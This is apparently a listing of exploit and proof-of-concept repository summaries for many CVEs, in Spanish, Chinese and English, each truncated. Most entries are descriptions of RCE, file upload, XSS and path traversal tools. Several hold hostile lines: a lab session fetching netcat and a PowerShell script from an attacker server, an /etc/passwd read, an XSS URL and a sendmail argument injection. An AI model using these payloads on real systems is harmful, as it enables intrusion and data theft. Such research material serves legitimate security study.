CVE-2026-19745

Introducción Hola a todos, en mayo encontré vulnerabilidades decentes en mi router, ¡hoy por fin puedo enseñárselas a todos! Ambas vulnerabilidades en este repositorio son vulnerabilidades de Denegación de Servicio autenticadas. No conozco los detalles técnicos exactos de cómo o por qué funcionan...

CVE-2019-7219

CVE-2019-7219 CVE-2019-7219 Zarafa Webapp Autor: verifysecurity Al menos la versión de Webapp 1.6-46049 hasta 2.0.1.47791 está afectada. hxxps://127.0.0.1/webapp/?fccc0"5f43d=1...

CVE-2025-3248

CVE-2025-3248 漏洞利用工具文档 简介 本工具用于利用 CVE-2025-3248 漏洞（基于Python的代码注入漏洞），通过构造恶意payload实现目标服务器的远程命令执行（RCE）。该漏洞存在于某Web应用的API接口中，攻击者可利用未验证的代码执行点注入任意Python代码。 重要提示： 本工具仅用于授权安全测试，未经授权的渗透测试可能违反法律。请确保您拥有目标系统的明确授权。 功能特点 ✅ 通过/api/v1/validate/code接口注入恶意Python代码 ✅ 支持执行任意系统命令（如whoami、ls等） ✅ 自定义超时时间（默认10秒） ✅...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2026-94132

Joomla Extension - acymailing.com - Remote Code Execution vulnerability in mailbox action feature in AcyMailing Enterprise extension 11.1.0 - MIME parts of incoming emails were saved to media/comacym/upload/ with no extension check, so anyone who could email the monitored mailbox could write a PH...

CVE-2024-44871

MoziloCMS = 3.0.1 RCE autenticado Descripción Este script es una herramienta de explotación diseñada para probar aplicaciones web que ejecutan MoziloCMS. Permite a un atacante utilizar credenciales de administrador para subir una web shell PHP mediante un archivo jpg, renombrar el archivo subido ...

CVE-2022-24716

CVE-2022-24716 针对漏洞的利用：Icinga Web 2 版本低于2.8.6、2.9.6、2.10时的任意文件泄露漏洞 https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/ 帮助： python3 exploit.py -h 使用示例： python3 -u http://127.0.0.1:8080 -f /etc/passwd 免责声明：此脚本用于审计系统安全性。请仅在你自己的系统上或已获得书面授权的系统上使用。...

CVE-2024-24142

CVE-2024-24142: School-Task-Manager-System-SQL-Injection-2 Prueba de Concepto PoC : https://github.com/BurakSevben/CVEs/blob/main/School-Task-Manager-System/CVE-2024-24142.md Prueba de Concepto PoC : https://github.com/BurakSevben/CVE-2024-24142/blob/main/CVE-2024-24142.md...

CVE-2024-22890

CVE-2024-22890: My e-Diary App - 跨站脚本攻击 概念验证PoC : https://github.com/BurakSevben/CVEs/blob/main/CVE-2024-22890.md 概念验证PoC : https://github.com/BurakSevben/CVE-2024-22890/blob/main/CVE-2024-22890.md...

CVE-2024-2054

CVE-2024-2054 Aplicación web administrativa de Artica-Proxy: deserialización insegura RCE Una prueba de concepto de exploit para la aplicación web administrativa ARTICA PROXY CVE-2024-2054 Entrada del blog Más detalles aquí:...

log4shell-vulnweb

版权所有 © 2023 Red Team 2 此网站存在 CVE-2021-44228 漏洞。...

Exploit-CVE-2024-26503

Open eClass RCE 利用工具 此工具旨在利用 Open eClass 平台中已知的漏洞（CVE-2024-26503），通过无限制文件上传缺陷实现远程代码执行（RCE）。攻击者可利用该漏洞上传 Web Shell 至服务器，从而执行任意命令。 免责声明 本工具仅用于教育和道德安全测试目的。我对因使用本工具而导致的任何滥用或损害概不负责。用户必须获得目标系统的明确授权才能进行测试。 前提条件 使用本工具前，请确保您的系统已安装 Python 3.x，并通过 pip 安装 requests 库： pip install requests 安装 克隆仓库或下载源码： git clo...

JoomlaCVE20168869

Exploit para Joomla 3.4.4 - 3.6.4 CVE-2016-8869 y CVE-2016-8870 con subida de archivos web shell Esta es una versión en PHP, el código fuente original en Python fue proporcionado por @link https://github.com/XiphosResearch/exploits/tree/master/Joomraa Usage: php exploit.php --username hacker -p...

CVE-2025-1304

🚨 Tema NewsBlogger de WordPress = 0.2.5.1 - Subida Arbitraria de Archivos CVE-2025-1304 Puntuación CVSS: 8.8 Alta Tipo de vulnerabilidad: Subida Arbitraria de Archivos Componente: Tema de WordPress ID de CVE: CVE-2025-1304 🔥 Resumen de la vulnerabilidad El tema NewsBlogger de WordPress versiones ...

POC-CVE-2016-10033

POC-CVE-2016-10033 首先，让我们启动并运行存在漏洞的应用 步骤1：运行以下命令，从Docker仓库拉取存在漏洞的Docker镜像。 命令: docker pull vulnerables/cve-2016-10033 步骤2：在Docker Desktop中运行该Docker镜像，并暴露端口8080。 现在，你可以在Web浏览器中通过localhost:8080访问存在漏洞的网站。 方法1：通过网页 步骤1：使用以下输入填写表单： 姓名输入: OSEC 可以是任意字符串，这不会影响漏洞利用 构造的发件人邮箱: "attacker" -oQ/tmp/...

CVE-2022-24715

CVE-2022-24715 Icinga Web 2 - Ejecución Remota de Código Autenticada 2.8.6, 2.9.6, 2.10 DESCARGO DE RESPONSABILIDAD: Este script está diseñado para auditar la seguridad de los sistemas. Úselo solo en sus propios sistemas o en sistemas para los que tenga permiso por escrito para explotar...

fortinet-fortiweb-cve-2025-64446-58034

Understanding Fortinet FortiWeb Vulnerabilities CVE-2025-64446, CVE-2025-58034 1. Overview Fortinet FortiWeb is a Web Application Firewall WAF device widely deployed in enterprise systems to protect web applications from common threats. Since FortiWeb typically sits at a central protection layer,...

l4s-vulnapp

Aplicación vulnerable Log4Shell l4s-vulnapp Esta es una aplicación web Java potencialmente vulnerable que contiene Log4j 2.14.1, afectada por log4shell CVE-2021-44228. Entorno verificado y distintas versiones AdoptOpenJDK 17.0.10+7 Gradle 8.6 Gretty 4.1.2 Apache Tomcat 10.1.15 Apache Log4j Core...

aws__aws-sdk-java_CVE-2022-31159_1-12-2600

AWS SDK para Java El AWS SDK para Java permite a los desarrolladores de Java trabajar fácilmente con Amazon Web Servicesaws y crear soluciones escalables con Amazon S3, Amazon DynamoDB, Amazon Glacier y más. Consulta el AWS SDK para Java 2.xaws-sdk-for-java-2x para saber cómo empezar. En modo de...

CVE-2023-23752

Joomla! options Argumentos url: URL raíz ruta base del sitio Joomla! objetivo, incluyendo el esquema HTTP, puerto y carpeta raíz si es necesario. --debug: Opcional. Si se establece, el script imprimirá información de depuración, incluidos los datos recuperados. --...